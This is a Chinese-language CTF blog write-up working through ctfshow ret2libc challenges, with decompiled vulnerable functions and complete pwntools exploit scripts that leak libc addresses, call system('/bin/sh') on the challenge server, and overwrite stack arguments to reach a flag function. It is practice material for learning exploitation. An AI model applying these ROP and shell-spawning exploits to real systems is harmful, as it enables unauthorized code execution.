写了这么多ret2libc的博客,下面我们开始正式进入刷题,正好ctf关于ret2libc的题还有不少,那么我们就一道一道来。简单题只大体贴一下题目和exp,难题可以展开讲讲
ctfshow pwn47(32位)
ez ret2libc
确实是很简单,给我打印了函数的真实地址,不过都无需了,直接套模板,改个偏移量和文件名完事
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #!/usr/bin/env python from pwn import * from LibcSearcher import LibcSearcher context.log_level = 'debug' context.binary = './pwn47' #sh = process('./pwn47') sh = remote('pwn.challenge.ctf.show', 28229) pwn47 = ELF('./pwn47') puts_plt = pwn47.plt['puts'] libc_start_main_got = pwn47.got['__libc_start_main'] main = pwn47.symbols['main'] print("leak libc_start_main_got addr and return to main again") payload = flat([b'A' * (0x9C+0x4), puts_plt, main, libc_start_main_got]) sh.sendlineafter(b'Start your show time:', payload) print("get the related addr") libc_start_main_addr =u32(sh.recvuntil(b'\xf7')[-4:]) libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh') print("get shell") payload = flat([b'A' *(0x9C+0x4) , system_addr, 0xdeadbeef, binsh_addr]) sh.sendline(payload) sh.interactive()
ctfshow pwn48(32位)
没有write了,试试用puts吧,更简单了呢
其实我也不理解这个题是何意味,大概是想让我们用write函数泄露libc地址,但是我们直接用万能的libc_start_main_addr,一招鲜吃遍天
题目没有什么大的变化就不贴了,甚至偏移都懒得改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #!/usr/bin/env python from pwn import * from LibcSearcher import LibcSearcher context.log_level = 'debug' context.binary = './pwn48' #sh = process('./pwn45') sh = remote('pwn.challenge.ctf.show', 28280) pwn48 = ELF('./pwn48') puts_plt = pwn48.plt['puts'] libc_start_main_got = pwn48.got['__libc_start_main'] main = pwn48.symbols['main'] print("leak libc_start_main_got addr and return to main again") payload = flat([b'A' * (0x6B+0x4), puts_plt, main, libc_start_main_got]) sh.sendlineafter(b'O.o?', payload) print("get the related addr") libc_start_main_addr =u32(sh.recvuntil(b'\xf7')[-4:]) libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh') print("get shell") payload = flat([b'A' *(0x6B+0x4) , system_addr, 0xdeadbeef, binsh_addr]) sh.sendline(payload) sh.interactive()
ctfshow pwn50(64位)
好像哪里不一样了 远程libc环境 Ubuntu 18
别问我为什么直接跳到pwn50了,因为pwn49是个静态编译的题目,不属于我们的动态编译一类,所以暂时跳过,回头单独写一篇博客讲讲
1 2 3 4 5 6 7 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); ctfshow(); exit(0); }
1 2 3 4 5 6 7 __int64 ctfshow() { char v1[32]; // [rsp+0h] [rbp-20h] BYREF puts("Hello CTFshow"); return gets(v1); }
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #!/usr/bin/env python from pwn import * from LibcSearcher import LibcSearcher context.log_level = 'debug' context.binary = './pwn50' #sh = process('./pwn50') sh = remote('pwn.challenge.ctf.show', 28305) pwn50 = ELF('./pwn50') puts_plt = pwn50.plt['puts'] puts_got = pwn50.got['puts'] main = pwn50.symbols['main'] #以上套模板照抄 offset = 0x20 + 0x8 ret_addr = 0x04004fe pop_rdi_addr = 0x04007e3 #ROPgadget算一下 print("leak libc_start_main_got addr and return to main again") payload = b'A' * (0x20+0x8) payload += p64(pop_rdi_addr) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(main) sh.sendlineafter(b'Hello CTFshow', payload) sh.sendline(payload) print("get the related addr") puts_addr =u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) #注意接收libc地址的方式不同 libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts') system_addr = libcbase + libc.dump('system') bin_sh_addr = libcbase + libc.dump('str_bin_sh') #以上计算过程套模板照抄 print("get shell") payload = b'a'*(0x20+0x8) payload += p64(pop_rdi_addr) #pop rdi payload += p64(bin_sh_addr) #bin/sh payload += p64(ret_addr) #ret payload += p64(system_addr) #system sh.sendline(payload) sh.interactive()
但是我的libcsearcher直接报错
No matched libc, please add more libc or try others
我一开始以为是函数的问题,把__libc_start_main换成了puts函数去泄露libc,但还是同样的问题
这个事就很郁闷,我查了一下解决方案,得知可以全部删掉后重新克隆一遍,我感觉风险有点大,而且听说别的师傅花了好几个小时克隆,我感觉没有必要,就暂时不弄了吧。对照别的师傅写的wp,我的exp应该是没问题
然后看了几个师傅的博客,在打这个题的时候也遇到了同样的问题,最后知道了libc版本是libc6_2.27-3ubuntu1.5_amd64,所以这个题先鸽了吧,如果以后还遇到这种情况我再想想办法
ctfshow pwn52(利用栈溢出覆盖参数)
迎面走来的flag让我如此蠢蠢欲动
1 2 3 4 5 6 7 8 int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); logo(&argc); puts("What do you want?"); ctfshow(); return 0; }
1 2 3 4 5 6 7 int ctfshow() { char s[104]; // [esp+Ch] [ebp-6Ch] BYREF gets(s); return puts(s); }
左侧函数栏存在明显的flag函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 char *__cdecl flag(int a1, int a2) { char *result; // eax char s[64]; // [esp+Ch] [ebp-4Ch] BYREF FILE *stream; // [esp+4Ch] [ebp-Ch] stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } result = fgets(s, 64, stream); if ( a1 == 876 && a2 == 877 ) result = (char *)printf(s); return result; }
通过这个题再复习一遍32位系统下,函数的参数是从右往左入栈的即a2先入,a1后入,a2在高地址,栈结构大体如下。我们的payload覆盖方向和栈增长的方向是相反的,这不难理解
1 2 3 4 5 6 7 [高地址] a2 a1 返回地址 flag offset [低地址]
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context.log_level = 'debug' #p = process('./pwn52') p = remote('pwn.challenge.ctf.show', 28307) elf = ELF('./pwn52') flag_addr = elf.symbols['flag'] a1 = 0x36c a2 = 0x36d offset = (0x6C+0x4) payload = flat([ b'A' * offset, flag_addr, 0xdeadbeef, a1, a2, ]) p.sendline(payload) p.interactive()
直接给了ctfshow_flag文件里的内容
还没填的坑 ctfshow pwn49 静态编译
ctfshow pwn51 没学过C++
ctfshow pwn53(已填) 类canary爆破,先学学python再来